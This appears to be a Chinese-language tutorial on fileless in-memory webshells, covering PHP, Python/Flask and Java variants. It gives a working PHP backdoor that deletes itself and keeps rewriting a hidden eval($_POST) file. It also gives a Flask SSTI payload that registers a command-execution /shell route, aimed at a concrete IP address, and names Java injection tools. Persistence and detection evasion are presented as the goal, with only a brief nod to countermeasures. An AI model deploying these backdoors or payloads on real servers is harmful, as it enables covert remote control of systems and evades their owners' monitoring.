Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。但传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。
内存webshell相比于常规webshell更容易躲避传统安全监测设备的检测,通常被用来做持久化,规避检测,持续驻留目标服务器。无文件攻击、内存Webshell、进程注入等基于内存的攻击手段也受到了大多数攻击者青睐。
PHP内存马:
set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
file_put_contents函数:将一个字符串写入该文件中
usleep函数:延迟执行当前脚本数微秒,即条件竞争
<?php
ignore_user_abort(true); #访问后哪怕断开连接也任然会运行这段代码
set_time_limit(0);
@unlink(__FILE__); #自动删除这个文件,实现隐藏实际在内存中运行
$file = '.HH.php'; #这里是为了在Linux中进行隐藏
$code = '<?php @eval($_POST[\'c\']); ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
说是内存马其实算是不死循环马,一直循环写入文件相应的对抗手段也可以使用条件竞争的方式进行处理,即写一个循环删除webshell的代码和他对抗。(如果业务允许重启服务器或者apache进程可以直接重启解决)
Python 内存马:
基于SSTI漏洞注入内存马
param是注入点
http://47.94.236.117:5000/test?param={{urlfor.globals[%27builtins%27]%27eval%27).read())%22,{%27requestctxstack%27:urlfor.globals[%27requestctxstack%27],%27app%27:urlfor.globals[%27currentapp%27]})}}
注入成功后访问
http://47.94.236.117:5000/shell?cmd=ls
进行命令执行
是真正的无文件落地内存马
payload
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
Java内存马:
1、按攻击思路,大致分为:
-Java Instrumentation类(Agent型)
-Servlet-api类(Servlet型、Filter型、Listener型)
-Spring类(Controller型、Interceptor型)
2、按注入的对象分为:tomcat、weblogic、shiro等类型。
注册了Servlet-api类的内存马重启服务器或者对应的tomcat中间件会失效
不过java内存马Servlet-api类型的也都先上传了用来注册内存马的jsp文件还是有文件落地了
内存马的注入一般通过冰蝎哥斯拉等工具进行注入,也有专门的内存马项目脚本使用,对应的一些中间件也有内存马注入的工具。这里就不多说了可以自己去玩一下这些工具。
对于打攻防来说内存马确实是比较好的维持权限的手段。